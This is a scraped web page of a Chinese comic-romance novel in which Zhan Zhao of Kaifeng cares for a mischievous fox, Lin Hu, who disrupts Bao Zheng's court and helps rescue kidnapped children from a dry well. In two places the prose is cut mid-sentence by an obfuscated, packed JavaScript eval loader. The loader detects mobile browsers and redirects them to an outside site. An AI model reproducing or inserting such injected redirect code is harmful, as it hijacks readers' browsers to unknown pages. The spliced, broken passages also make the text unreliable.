《[七五]御猫,你家狐狸又在堂上捣乱了!》 2. 御猫抓狐反被讹 开封府的城墙在暮色里泛着青灰色的光,砖缝里钻出的瓦松被风掀得簌簌响。护城河的水映着天边最后一抹橘红,像打翻了的胭脂盒,顺着水流缓缓晕开。往来的车马在吊桥上碾出吱呀声,挑着货担的小贩吆喝着避开疾驰的官轿,空气中混着脂粉香、熟肉气和河泥的腥甜,沸反盈天地涌进林狐的鼻腔。 她被展昭拎着后颈,四只爪子悬空乱蹬,尾巴像面破扫帚似的抽打着他的手腕。藏狐的毛本就粗硬,此刻沾了泥污和草屑,扫在皮肤上竟有些扎人。展昭的指节微微泛白,却依旧稳稳提着她,步履不疾不徐地往城门走。 “放我下来!你这是绑架!我要告你非法限制人身自由!”林狐在心里尖叫,喉咙里滚出一串“嗷呜嗷呜”的急叫,听起来倒像是被踩了尾巴的野猫。路过的孩童指着他们笑,被娘亲慌忙拽走,嘴里还念叨着“展护卫怎么拎着只野狐狸”。 展昭的耳廓微微发烫。他素来看重仪表,此刻月白里衣的袖口被这狐狸蹬出了褶皱,藏青劲装的前襟更是沾了好几个灰扑扑的爪印——分明是她故意把沾了鸡粪的爪子往他身上蹭。 “安分些。”他低声警告,指尖不经意间触到她后颈柔软的绒毛,那点温热的触感顺着指腹爬上来,竟让他紧绷的手腕松了半分。 林狐才不肯安分。她瞅准机会,猛地弓起身子,用后腿在他胳膊上蹬出个泥印,尾巴尖还故意勾了勾他腰间的剑穗。“就不!有本事你杀了我啊?”她心里逞着凶,眼睛却偷偷打量着城门处的守卫。那些兵卒穿着铠甲,手里的长枪闪着寒光,看得她心里发怵。 就在这时,一阵急促的马蹄声从侧面冲来。三匹快马裹挟着劲风疾驰而过,马上的官差穿着玄色劲装,腰悬令牌,脸上带着肃杀之气,显然是刚从刑场回来的酷吏。马蹄扬起的尘土扑了林狐一脸,其中一个官差的马鞭还险些扫到她。 “啊!”林狐吓得魂飞魄散,几乎是本能地猛地一蹿,像道灰影子似的顺着展昭的胳膊往上窜,死死扒住了他的肩膀。她的爪子深深陷进他肩头的衣料里,尾巴缠上他的脖颈,把脸埋在他的颈窝,浑身抖得像筛糠。 “嗷嗷……”细碎的哀鸣从她喉咙里挤出来,带着哭腔。 展昭被她这突如其来的举动弄得一僵,肩上陡然增加的重量让他下意识地稳住身形。他能感觉到颈侧毛茸茸的触感,还有她急促的呼吸,带着点草木的腥气,拂过他敏感的皮肤。 “别怕。”他几乎是下意识地抬手,指尖轻轻落在她颤抖的背上。那皮毛比想象中更厚实,隔着布料也能摸到她细微的战栗。他的动作有些生涩,像是第一次安抚受惊的小兽,声音却放得极柔,“只是过路的官差,不伤你。” 周围的人都看直了眼。谁不知道展护卫素来洁身自好,别说让野兽近身,就是与人交往也保持着三尺距离,如今竟任由一只狐狸扒在肩头,还亲自安抚? 林狐躲在他颈窝里,听着他胸腔里传来的沉稳心跳,鼻尖萦绕着他身上淡淡的皂角混着松烟墨的味道,那股被酷吏勾起的恐惧竟奇异地消散了些。她这才后知后觉地意识到自己此刻的姿势有多暧昧,耳朵尖“腾”地红了——如果狐狸有耳朵尖能红的话。 “谁、谁怕了!”她嘴硬道,却没从他肩上下来,反而把爪子收得更紧了些,“我只是……只是觉得上面视野好!” 展昭几不可察地勾了勾唇角,没戳破她的谎言。他抬手拨开缠在颈间的狐尾,指尖不经意划过她蓬松的尾尖,换来她一声压抑的“嘤咛”。他清了清嗓子,继续往城门走,只是脚步比刚才慢了些,避开了往来的车马。 到了城门口,林狐看着那高大的城门楼,还有门楣上“开封府”三个苍劲有力的大字,突然想起了那些关于包公的传说。什么日断阳夜断阴,什么铡美案狸猫换太子,桩桩件件都透着股森然正气,可也少不了牛鬼蛇神的影子。她现在是只狐狸,还是只来路不明的狐狸,万一被当成妖怪给铡了怎么办? 恐惧像藤蔓似的缠上心头,她开始拼命往后缩,爪子在展昭肩头抓出几道浅浅的白痕。“我不进去!展昭,我不进去!”她急得直晃脑袋,“那里面有包青天!他专管妖魔鬼怪的!我进去就是自投罗网!” 她一边喊一边挣扎着要往下跳,结果脚下一滑,差点从展昭肩头摔下去,幸好尾巴及时勾住了他的发髻。 “嗷!”她吓得紧紧闭住眼。 展昭伸手稳稳托住她的肚子,眉头微蹙。这狐狸刚才还胆大包天,敢在公堂外撒野,此刻却像只受惊的兔子,抖得不成样子。他略一思索,便明白了她的顾虑。 “大人断案,只论是非,不论物种。”他温声道,试图打消她的顾虑,“你并未作恶,不必害怕。” “谁说我没作恶?我偷鸡了!”林狐理直气壮地反驳,随即又蔫了,“虽然没偷成……但那也是未遂啊!” 展昭被她这逻辑逗得差点笑出声,连忙绷紧嘴角,掩去眼底的笑意。他看着她死死扒着自己衣领,尾巴尖都在打颤的样子,突然伸出手,在她后颈轻轻一捏。 林狐顿时僵住了,像被点了穴似的,四肢都没法动弹。这是动物的本能,后颈被捏住时,会不由自主地放松反抗。 “你!”她又气又急,却只能眼睁睁看着展昭拎着她,大步走进了开封府的大门。 穿过刻着“明镜高悬”的牌坊,绕过栽着翠柏的影壁,就见公孙策正站在廊下翻看着卷宗。他穿着月白长衫,手里摇着折扇,见展昭肩头蹲着只狐狸进来,先是一愣,随即笑道:“展护卫这是……收了个新跟班?” “公孙先生。”展昭把林狐从肩上摘下来,拎在手里,“此狐灵性异于常兽,在市井恐生事端,想请先生代为照看。” “谁要他照看!我自己能照顾自己!”林狐在他手里扭动,爪子蹬得他手腕发痒,“放我下来!我要出去!” 她的叫声在公孙策听来只是“嗷嗷”乱吠,他饶有兴致地打量着她:“这狐狸倒是有几分野性。只是展护卫,府衙之内,怕是容不得它这般撒野。” 话音未落,大堂方向突然传来惊堂木拍响的声音,震得窗棂都嗡嗡作响。紧接着是包拯威严的声音:“带嫌犯!” 林狐吓得一哆嗦,下意识地往展昭怀里钻。她虽然怕包公,却更怕那未知的公堂。可展昭的手牢牢提着她,让她动弹不得。 “大人升堂了。”展昭对公孙策颔首示意,拎着林狐就往大堂走。 “不要不要!我不去公堂!”林狐急得乱蹬,爪子在他胸前抓出几道更深的痕迹,还故意把刚才蹭到的泥污全抹在他官服上,“你这是公报私仇!我要投诉你!” 展昭充耳不闻,径直走进了大堂。 此刻的大堂庄严肃穆,包拯端坐在公案后,黑脸膛在烛火下更显威严。王朝马汉分立两侧,手里的水火棍拄在地上,发出沉闷的响声。堂下跪着个面黄肌瘦的汉子,正瑟瑟发抖。 展昭刚站定,还没来得及行礼,手里的林狐突然猛地一挣,竟从他指缝里溜了出去,像道灰闪电似的窜上了公案。 “我靠!这桌子真硬!”林狐蹲在公案上,东张西望,尾巴好奇地扫来扫去,差点扫翻了砚台。 “放肆!”包拯猛地一拍惊堂木,震得公案都颤了颤。 林狐被吓得一缩脖子,却立刻梗起了脑袋,冲着包拯“嗷呜”叫了一声,像是在示威。然后她转过头,冲着展昭龇牙咧嘴,琥珀色的眼睛里满是得意——你看,我不怕他! 展昭额角的青筋跳了跳,刚想伸手把她抱下来,就见她尾巴一甩,“啪”地拍进了砚台里,沾了满尾巴尖的墨汁。她还嫌不够,又甩了甩尾巴,墨汁顿时飞溅开来。 “噗嗤——” 几滴墨汁不偏不倚,正好溅在展昭的脸上。 大堂里瞬间鸦雀无声。 王朝马汉憋得满脸通红,肩膀止不住地抖。那嫌犯也忘了害怕,张大嘴巴看着这戏剧性的一幕。包拯皱着眉,看着展昭脸上那几滴墨点,嘴角似乎几不可察地动了动。 展昭僵在原地,脸上的墨汁凉丝丝的,顺着脸颊往下滑,滴落在他的衣襟上。他能感觉到那罪魁祸首正蹲在公案上,用一种看好戏的眼神看着他,尾巴尖还在滴墨汁,像个刚干完坏事的顽童。 “林、狐!”他从牙缝里挤出这两个字,声音里带着压抑的怒火。 “哎呀,不好意思啊,尾巴滑。”林狐心里笑得打滚,嘴上却假惺惺地道歉,还故意用爪子抹了抹他脸上的墨汁,结果越抹越花,“你看你,现在像只大花猫了,比御猫还像猫。” “嗷嗷!”她对外发出两声得意的叫声。 包拯轻咳一声,打破了这诡异的沉默:“展护卫,这狐狸……” “属下失职,请大人降罪。”展昭深吸一口气,压下把那只狐狸扔出去的冲动,弯腰行礼。 “罢了。”包拯摆摆手,目光落在公案上那只正用爪子扒拉卷宗的狐狸身上,“看这狐狸确有灵性,许是无心之失。只是展护卫,公堂之上,还是要多加管束。” “是,属下遵命。”展昭直起身,趁林狐正低头啃咬一支毛笔时,迅速出手,一把将她捞进怀里,牢牢按住。 “唔!放开我!我还没玩够呢!”林狐在他怀里挣扎,爪子乱蹬,结果又在他胸前印了几个墨爪印,把原本的泥污搅得更狼狈。 展昭抱着她,几乎是落荒而逃地离开了大堂。身后传来王朝马汉终于忍不住的低笑声,还有包拯那句意味深长的话:“展护卫,此狐虽顽劣,倒也有趣。” 回到展昭的住处,那是一间简洁的小院,院里种着棵老槐树,树下摆着张石桌。展昭把林狐扔在地上,看着自己身上的狼藉——墨汁、泥点、还有几根顽固 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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林狐的爪子隔着他的里衣,踩在他的小腹上,毛茸茸的尾巴卷着他的腰侧。那爪子虽然收了尖,却带着点微凉的触感,像羽毛似的搔刮着他的皮肤,点燃了一簇细微的火苗。他能清晰地感觉到怀里小身子的起伏,还有她轻轻的呼吸,拂过他的胸口,带来一阵战栗。 他猛地绷紧脊背,喉结不自觉地滚动了一下,手背上的青筋微微凸起。 “别动。”他的声音有些沙哑,带着一丝不易察觉的紧绷。 林狐却没听他的。她觉得胸口的位置更暖和,便挣扎着往上面钻了钻,爪子不小心划过他的肋骨,尾巴扫过他的下颌线。那毛茸茸的触感带着电流似的,让他下颌线瞬间绷紧,微微发颤。 展昭低头,对上一双湿漉漉的琥珀色眼睛。 林狐正仰头看着他,眼睛里满是懵懂和好奇,长长的睫毛上还沾着点刚才蹭到的墨汁,像只不小心闯了祸却不知错的小猫。她的鼻尖微微抽动,似乎在嗅他身上的气息,那眼神,分明是在问:“摸一下怎么了?” 四目相对,空气仿佛凝固了。 展昭的呼吸微微一滞,怀里的柔软和温热像是有魔力,让他有些心神不宁。他能感觉到自己的心跳在加速,脸上也有些发烫,连耳根都泛起了不易察觉的红晕。 这只狐狸……简直是个祸害。 他深吸一口气,努力压下心底的异样,伸出手,轻轻按住她不安分的脑袋,不让她再往上钻。他的指尖触到她柔软的耳朵,换来她一声舒服的喟叹。 “安分点。”他的声音依旧带着一丝紧绷,却比刚才柔和了些。 林狐不满地“哼”了一声,却也没再挣扎。她在他怀里找了个舒服的姿势,把脑袋埋在他的胸口,听着他沉稳有力的心跳声,眼皮渐渐沉重起来。 折腾了一下午,她早就累了。在这温暖安全的怀抱里,她很快就沉沉睡去,尾巴还无意识地圈住了他的腰,像个小小的锁链。 展昭低头看着怀里熟睡的狐狸,她的呼吸均匀,长长的睫毛在眼睑下投下一小片阴影,尖嘴也不再那么突兀,反而显得有几分乖巧。他能清晰地感觉到她的体温,她的心跳,还有她偶尔因为做梦而轻轻颤动的睫毛。 一种从未有过的感觉,像藤蔓一样,悄无声息地缠绕上他的心头。 他轻轻叹了口气,伸手拢了拢衣襟,把她裹得更紧了些。窗外的风还在吹,卷起落叶沙沙作响,像一首温柔的催眠曲。月光透过窗棂,洒在两人身上,镀上一层银白色的光晕。 展昭坐在椅子上,一动也不动,生怕惊扰了怀里的小家伙。他低头看着她,眼神复杂。这只从天而降的藏狐,打破了他一向平静的生活,带来了无数的麻烦和狼狈,却也……带来了一丝意想不到的暖意。 也许,留下她,也不是什么坏事。 他的嘴角,几不可察地,微微上扬了一个弧度,随即又恢复了惯常的沉稳。只是那双看着怀里狐狸的眼睛里,多了一丝连他自己都没察觉到的温柔。 3. 枯井里的老鼠劫(一) 月上中天时,展昭的房间里还亮着一盏孤灯。竹制屏风将房间隔出一角沐浴处,艾草的清香混着水汽漫过来,在雕花窗棂投下的月影里浮动。 展昭解开绯红官袍的盘扣,那枚玳瑁带扣在灯下泛着温润的琥珀光,被他轻轻搁在榻边的矮几上。外袍滑落时带起一阵微风,露出里面月白中衣,他抬手摘下官帽,乌纱展脚轻轻晃动,随即与官袍一同叠放在矮几上,动作从容不迫。 屏风后,木盆里的热水正冒着氤氲白雾。他褪去中衣,古铜色的脊背在月光下绷紧,像一块被精心打磨过的玉石。弯腰跨入木盆时,水花“泠泠”溅起,顺着肩头流畅的肌肉线条往下滑——水珠先是挂在锁骨的凹陷处,迟疑片刻,才沿着紧实的胸膛滚落,砸在水面上发出细碎的“嗒”声,像是谁在暗处轻叩玉磬。 他抬手掬水浇在颈后,黑发被浸湿,贴在肌理分明的后颈,水珠顺着脊椎的沟壑蜿蜒,没入腰侧时,带起一阵极轻的痒意。指尖划过手臂时,能触到常年握剑磨出的薄茧,与水流的滑腻交织在一起,竟生出几分奇异的缱绻。 林狐原本蹲在榻角,此刻却像被磁石吸住般,爪子踩着地毯悄咪咪挪到屏风边。她本是困极了的,可那水流声像带着钩子,勾得她忍不住扒着屏风缝往里瞧—— 展昭正仰头靠在盆沿,喉结滚动着吐出水汽,脖颈的线条拉得极长,像一张蓄势待发的弓。一滴水珠挂在他下颌线,迟迟不肯落下,在灯光下亮得像颗碎钻。他抬手去擦时,手腕翻转间,肱二头肌绷起流畅的弧度,水珠便趁机钻进他敞开的衣襟,顺着腰线滑进更深的阴影里。 “咕咚。”林狐又咽了口唾沫,尾巴尖不受控制地翘了起来。这哪是洗澡?这分明是话本里写的“玉人临波”,就是比画里多了几分活生生的力量感,像出鞘的剑,锋芒藏在温润里。 她看得太入神,爪子没抓稳,“啪”地拍在屏风竹骨上。 屏风后的水流声戛然而止。 “谁?”展昭的声音带着水汽的湿意,却依旧清亮,像冰棱撞在玉盘上。 林狐吓得魂飞魄散,四爪并用往榻底钻,尾巴却卡在了屏风缝里,被她自己挣得“嗷嗷”叫。慌乱中,她好像听见屏风后传来一声极轻的笑,又好像是水流滴落的回音。 等她终于把自己塞进榻底,就见展昭披着件月白浴袍走出来,乌发湿漉漉地搭在肩后,发梢的水珠滴在锁骨上,晕开一小片深色。他弯腰看着榻底那团抖个不停的灰毛,眼底还带着未褪尽的水汽:“出来吧,再钻就要沾一身灰了。” 林狐缩着脖子往外挪,耳朵耷拉着,活像只做错事的狗。等她终于挪到展昭脚边,才敢抬头看——他浴袍的领口敞开着,能看见水珠顺着脖颈滑进衣襟,消失在那片古铜色的肌肤里。 “偷看别人沐浴,该打。”展昭说着,却只是用手指轻轻弹了弹她的脑门,指尖带着水汽的凉意。 林狐被弹得“嗷”一声,却突然壮起胆子,用脑袋蹭了蹭他的小腿。浴袍料子顺滑,沾着淡淡的艾草香,比官袍暖和多了。她心里的小算盘打得噼啪响:反正都被抓包了,不如蹭够本。 展昭低头看着这只得寸进尺的狐狸,无奈地叹了口气。他伸手拎起她的后颈,把她放在榻上,自己则坐到书案前擦头发。月光透过窗棂落在他侧脸,浴后的皮肤泛着健康的光泽,乌发与月白浴袍衬在一起,竟比穿绯红官袍时多了几分柔和。 林狐趴在榻边,看着他用布巾擦头发的动作——手腕转动间,浴袍袖子滑下去,露出小臂结实的肌肉,水珠顺着发梢落在他手背上,又滚进袖口的阴影里。她突然觉得,这冰块脸好像也没那么讨厌,至少……比烧鸡好看。 后半夜的风从窗棂钻进来,卷着槐树叶的影子落在床榻边。林狐被冻得打了个哆嗦,迷迷糊糊地往暖和的地方拱,鼻尖蹭到一片温热的绯红布料,带着皂角与阳光晒过的暖意。她下意识地把脸埋进去,爪子还扒住那料子蹭了蹭,像只贪暖的猫。 “唔……” 头顶传来一声压抑的低吟,随即有只手轻轻按在她后颈。那力道不重,却带着不容置疑的约束,把她往床内侧推了推。林狐不满地甩甩尾巴,扫在那只手的手背上,毛茸茸的触感换来指尖微不可查的一颤。 她这才彻底醒了。 展昭的房间比她想象中还要素净。青灰色的帐幔垂在床沿,床头摆着个旧木剑架,巨阙剑斜倚其上,剑鞘在月光下泛着冷光。靠墙的书案上堆着几卷卷宗,砚台里的墨汁已经凝了,旁边压着半张写了字的宣纸,笔锋凌厉,一看就是他的字迹。桌角放着他的绯红官帽,乌纱展脚微微上翘,帽顶的珠串在暗处闪着微光,旁边还搁着那枚玳瑁带扣,温润的色泽在月色里格外显眼。 而她,正蜷在展昭脚边的床榻角落,身上盖着他的绯红官袍。那料子挺括,带着阳光晒过的暖意,还残留着他身上清冽的皂角香,让她莫名觉得安心。 展昭就坐在床沿,背对着她,似乎在看卷宗。月光勾勒出他挺拔的肩线,乌发用一根玳瑁簪束着,那温润的色泽在黑发间格外显眼,几缕碎发垂在颈后,随着他低头的动作轻轻晃动。 林狐的心跳没来由地漏了一拍。 她悄悄支起身子,用爪子扒拉着那件官袍,一点点往他身边挪。藏狐的爪子踩在被褥上几乎没声音,她很快就挪到了他身后,尾巴好奇地探过去,轻轻勾了勾他束发的玳瑁簪。那冰凉温润的触感让她忍不住多碰了两下。 展昭的动作顿了顿,没回头,只是低声道:“安分睡觉。” “睡不着。”林狐心里嘀咕,尾巴却没停,反而顺着他的脊背往下滑,扫过他腰间那枚玳瑁带扣的轮廓。她能感觉到他瞬间绷紧的身体,像拉满的弓弦。 真好玩。 她像发现了新游戏的猫,用尾巴尖一下下撩拨他的后颈。那里的皮肤薄,绒毛扫过,总能换来他细微的战栗。她甚至得寸进尺地站起来,前爪搭在他的肩膀上,伸长脖子去闻他发间的味道——比官袍上的皂角香更清醇,还混着点松烟墨的气息。 “嗷呜~”她故意发出软乎乎的叫声,心里却在笑:看你能忍到什么时候。 展昭终于放下了卷宗,转过身来。他的眼神在月光下显得格外深邃,落在她身上时,带着点无奈,又有点……说不清道不明的复杂。 “林狐。”他叫她的名字,声音比平时沉了些。 林狐非但不怕,反而得寸进尺地往他怀里钻,毛茸茸的肚子贴着他的手腕,爪子还想去扒他手里的卷宗。“你在看什么呀?带我一起看嘛。” 展昭伸手按住她的脑袋,不让她乱动。他的掌心温热,带着常年练剑的薄茧,按在她的头顶,竟让她有些昏昏欲睡。但她才不想睡,她偏要闹。 她突然张开嘴,用没尖的牙轻轻啃了啃他的手指。 展昭的呼吸猛地一滞。 指尖传来柔软的触感,带着点湿润的暖意,不像撕咬,更像……撒娇?他的耳根瞬间泛起薄红,猛地抽回手,动作快得有些狼狈。 “你再闹,就把你扔出去。”他的声音有点发紧,眼神却不敢看她,落在了床脚的阴影里。 林狐看着他泛红的耳根,心里的小人儿叉腰狂笑。原来这冰块脸也有脸红的时候!她得意地甩了甩尾巴,还想再逗逗他,却见展昭突然伸手,一把将她捞进怀里,用那件绯红官袍裹了个严实,只露出一颗毛茸茸的脑袋。 “唔!放开我!”她在袍子里挣扎,爪子蹬得布料窸窣作响。 “安分点,否则明天没烧鸡吃。”展昭的声音从头顶传来,带着一丝不易察觉的笑意。 烧鸡?! 林狐瞬间不动了。为了烧鸡,她暂时忍了! ***开封府的早市早已热闹起来。 青石板路上挤满了行人,挑着担子的小贩吆喝着穿过人群,卖早点的铺子前飘着蒸腾的热气,油条、豆浆、包子的香气混着胭脂水粉的味道,在空气中弥漫开来。 展昭拎着林狐,走在熙熙攘攘的街道上。他一身绯红官袍在人群中格外显眼,乌纱帽的展脚随着他的步伐轻轻晃动,引得不少姑娘偷偷掀起帘子或探出窗棂偷看。而他手里拎着的那只灰扑扑的狐狸,更是成了焦点。 “快看,那不是展护卫吗?他这身绯红官袍真精神!” “怀里怎么拎着只狐狸?那狐狸好丑啊,尖嘴猴腮的。” “你懂什么,这叫特别!没看见展护卫都不嫌弃它吗?” 林狐听到这些议论,气得想扑上去咬人。她哪里丑了?她这叫独特!是行走的表情包!她使劲蹬了蹬腿,想冲那些人龇牙,却被展昭牢牢按住。 “安分点。”他低声警告,然后拐进了一家卖熟食的铺子。 “老板,来只烧鸡。” “好嘞,展护卫!”老板麻利地称了只油光锃亮的烧鸡,金黄脆皮上还滴着油,用荷叶包好递过来,“刚出炉的,香得很!” 展昭付了钱,把荷叶包递到林狐面前。 林狐的眼睛瞬间亮了,口水差点流下来。她迫不及待地扑上去,用爪子撕开荷叶,埋头啃了起来。烧鸡的香气浓郁,皮脆肉嫩,吃得她满嘴流油,连尾巴都快乐地摇了起来。 展昭看着她这副狼吞虎咽的样子,无奈地摇摇头,找了个路边的石阶坐下,等她吃完。阳光照在他身上,暖洋洋的,他微微眯起眼睛,看着街上往来的行人,脑子里却在思索着拐卖孩子的案子。 昨天巡逻时,他在城西的破庙里发现了几个孩子的脚印,还有一个被丢弃的拨浪鼓。据附近的居民说,最近已经有好几个孩子失踪了,都是在傍晚时分不见的。 线索太少,查起来很困难。 林狐很快就把一只烧鸡啃得干干净净,连骨头缝里的肉丝都没剩下。她舔了舔爪子上的油,满足地打了个饱嗝,然后跳到展昭的腿上,蜷成一团晒太阳。 “接下来去哪儿啊?”她懒洋洋地问。 “去城西。”展昭站起身,把她拎起来,揣进怀里,那绯红的官袍被撑起一个小小的弧度,“带你去查案。” “查案?就是你昨天说的拐卖孩子的案子?”林狐来了精神,在他怀里挣扎着想要出来,“我跟你说,我鼻子可灵了,说不定能帮上忙!” 展昭没说话,只是加快了脚步。 城西的街道明显比市中心冷清了许多,房屋也破旧了不少。路边堆着杂物,墙角结着蛛网,偶尔有几个衣衫褴褛的乞丐蜷缩在角落里,眼神麻木。 展昭仔细地观察着周围的环境,时不时停下来,询问路边的居民。但大家似乎都很害怕,摇着头说不知道。 林狐在他怀里也没闲着,她竖着耳朵,仔细听着周围的动静,鼻子不停 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16268095|182176||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地嗅着。突然,她闻到了一股奇怪的味道——像是铁锈和腐烂的气息,还混着一丝若有若无的孩子的哭声。 “展昭,那边!”她用爪子指着不远处的一条小巷,“那边有奇怪的味道,还有孩子的哭声!” 展昭眼神一凛,立刻朝着那条小巷走去。 小巷很深,光线昏暗,墙壁上布满了青苔。越往里走,那股奇怪的味道就越浓,孩子的哭声也越来越清晰。走到巷子尽头,是一口枯井,井口用一块破旧的木板盖着,哭声就是从井里传出来的。 展昭走过去,掀开木板。一股浓重的潮气混杂着霉味扑面而来,井里黑漆漆的,深不见底,只能隐约听到下面传来微弱的哭声。 “下面有人。”展昭沉声道,眼神变得凝重起来。 他四处看了看,发现井边有一根粗麻绳,应该是用来下井的。他把麻绳系在旁边的一棵老槐树上,试了试结实程度,然后准备下去。 “等等!”林狐突然从他怀里跳出来,“我先下去看看!我身子小,灵活!” “不行,太危险了。”展昭立刻拒绝。 “有什么危险的?我可是狐狸!爬个井还不容易?”林狐说着,就想往井里跳。 展昭一把抓住她的后颈,把她拎了起来。“听话。” “我不!”林狐挣扎着,“我能帮你!让我下去嘛!” 展昭看着她急切的眼神,又看了看黑漆漆的井口,最终还是妥协了。“好吧,但你要小心,有什么情况立刻告诉我。” 他把林狐放到井边,解开系在树上的麻绳,递到她面前。“抓住绳子,慢慢下去。” 林狐点点头,用爪子紧紧抓住麻绳,一点一点地往下爬。井壁很滑,长满了青苔,她爬得很费劲,但一想到下面可能有孩子等着救援,她就咬紧牙关坚持着。 展昭站在井口,紧紧盯着下面,心都提到了嗓子眼。他能听到绳子摩擦井壁的声音,还有林狐偶尔发出的“嗷呜”声,心里暗暗祈祷她不要出事。 就在这时,井里突然传来林狐的一声惊呼:“展昭!快来!这里有孩子!好多孩子!还有……他们说‘头儿’今晚要来转移人!” 展昭心里一紧,立刻抓住麻绳,纵身跳了下去。 井不算太深,他很快就触到了井底的淤泥。潮湿的空气里弥漫着浓重的霉味,几只硕大的老鼠被惊动,吱吱叫着窜进黑暗的角落。借着从井口透进来的微光,他看到角落里蜷缩着四五个孩子,最大的不过七八岁,最小的看起来才刚会走路,都吓得瑟瑟发抖。林狐正蹲在孩子们面前,用脑袋轻轻蹭着一个小姑娘的手,试图安抚他们。 “官爷……”一个大点的男孩认出了他身上的绯红官袍,带着哭腔开口,“我们、我们是被人抓来的……他们说等凑够十个,就、就把我们卖到南边去……” 展昭的心沉了下去。看来这不是个案,背后定然牵扯着一个拐卖团伙。他蹲下身,尽量让自己的声音听起来温和:“别怕,我是开封府的展昭,现在就带你们出去。” 他先把林狐托上去,让她给上面闻讯赶来的衙役报信,然后开始挨个抱起孩子,顺着麻绳往上送。孩子们吓得紧紧抓住他的官袍,小小的手拽着绯红的布料,像是抓住了最后一根救命稻草。 等最后一个孩子被送上去,展昭才顺着绳子爬出枯井。晨曦落在他的绯红官袍上,驱散了井底的潮气,却驱不散他眉宇间的凝重。 “展护卫!”一个衙役匆匆跑来,手里押着个哆哆嗦嗦的汉子,“这是在附近草堆里抓到的,看样子是看守的!” 那汉子穿着粗布短打,脸膛黝黑,看到展昭的官袍就“噗通”一声跪了下来,连连磕头:“官爷饶命!小的只是个跑腿的!都是上面的人指使的!” 展昭居高临下地看着他,眼神锐利如剑:“上面的人是谁?他们什么时候来转移孩子?” 汉子眼神闪烁,支支吾吾地说:“小的不知道……小的只负责看着井口,其他的事一概不知啊……” 展昭冷哼一声,知道从这等小喽啰嘴里问不出太多实情。他挥挥手:“先带回开封府严加审讯。” 林狐跑到他身边,用脑袋蹭了蹭他的腿,邀功似的问:“怎么样,我厉害吧?” 展昭看着她满身的泥污,还有鼻尖沾着的青苔,无奈地笑了笑。“厉害。”他伸手想把她抱起来,却发现她的爪子上还挂着根老鼠尾巴——想来是刚才在井底跟老鼠搏斗的“战利品”。 “……”展昭的额角抽了抽。 林狐似乎才发现自己挂了彩头,得意地甩了甩爪子:“看!我帮孩子们赶老鼠了!” 展昭没说话,只是认命地替她摘了老鼠尾巴,然后弯腰将她抱起,揣进怀里。怀里的小身子还在微微发抖,想来刚才在井底也受了惊吓。 “走,先带回开封府。”他对衙役们吩咐道,声音里带着不容置疑的威严。 阳光穿过老槐树的枝叶,在他的绯红官袍上投下斑驳的光影。林狐窝在他怀里,闻着熟悉的皂角香混着淡淡的霉味(想来是刚从井底出来沾的),突然觉得,跟着这冰块脸办案,好像也没那么无聊。 只是她不知道,这口枯井里藏着的,仅仅是这场阴谋的冰山一角。真正的头目仍在暗处,像毒蛇一样窥伺着下一个目标,而他们与这伙人的较量,才刚刚开始。 4. 枯井里的老鼠劫(二) 衙役押着那名看守汉子离开时,晨露正顺着老槐树的叶子往下滴,落在展昭的绯红官袍上,洇出一小片深色的水痕。他站在枯井边,望着黑洞洞的井口,眉头微蹙。刚才孩子们说“头儿今晚要来转移人”,这说明这口枯井只是个临时据点,背后定然还藏着更大的网。 “展护卫,孩子们都送回府衙安置了,您看这井口……”一个留着络腮胡的老衙役上前请示,手里还攥着那根粗麻绳。 “先派人守着,别惊动了旁人。”展昭的目光扫过井口的木板,“我再下去看看,或许还有遗漏的线索。” “您还要下去?”老衙役吃了一惊,“下面又黑又潮,怕是……” “无妨。”展昭打断他,伸手解下腰间的巨阙剑,递给老衙役,“帮我拿着。”他转身看向蹲在脚边的林狐,她正用爪子扒拉着地上的碎石子,尾巴有一下没一下地扫着地面,“你在这里等着。” “凭什么?”林狐立刻炸毛,窜到他脚边,用爪子抱住他的靴筒,“我也要下去!刚才我在下面都没仔细看,说不定能发现什么好东西!” “下面危险。”展昭弯腰想把她拉开,指尖刚碰到她的脊背,就被她顺势往怀里蹭了蹭。 “有你在怕什么?”林狐仰起脸,琥珀色的眼睛里闪着狡黠的光,“再说了,我鼻子比你灵,万一有什么气味线索,你闻不出来怎么办?” 展昭看着她那副跃跃欲试的样子,又想起刚才在井底她安抚孩子们时的模样,心里竟生出几分纵容。他无奈地叹了口气,伸手拎住她的后颈:“不许捣乱。” “知道啦!”林狐嘴上答应着,尾巴却得意地翘了起来,还故意用爪子在他手背上挠了挠。 老衙役在一旁看得目瞪口呆。谁不知道展护卫最是爱洁,连同僚碰他一下都得保持分寸,如今竟任由一只野狐狸在他手上作乱? 展昭没理会老衙役的惊讶,拎着林狐走到井边,抓住那根粗麻绳。他先是低头看了看井底的黑暗,然后将林狐往井口外拎了拎,像是在掂量什么。 “哎哎哎!你干嘛?”林狐被他吊在半空,吓得四只爪子乱蹬,尾巴在空中胡乱挥舞,“展昭你个混蛋!想把我扔下去喂老鼠吗?” 她的叫声在旁人听来只是“嗷嗷”的急吠,配上她张牙舞爪的样子,倒像是在撒娇。 展昭的指尖被她蹬得发痒,尤其是她那条大尾巴,扫得他手腕一阵发麻。他本想吓唬吓唬她,让她老实待在上面,没成想这狐狸胆子大得很,非但不怕,反而用尾巴尖勾住了他的手指,像抓住了个秋千似的,借着他的力道左右摇晃起来。 “你看你看,这样多好玩!”林狐的声音里满是兴奋,尾巴勾着他的手指荡来荡去,井里的潮气顺着风漫上来,混着她身上的土腥味和淡淡的狐狸臊气,钻进他敞开的领口,激起一阵细微的战栗。 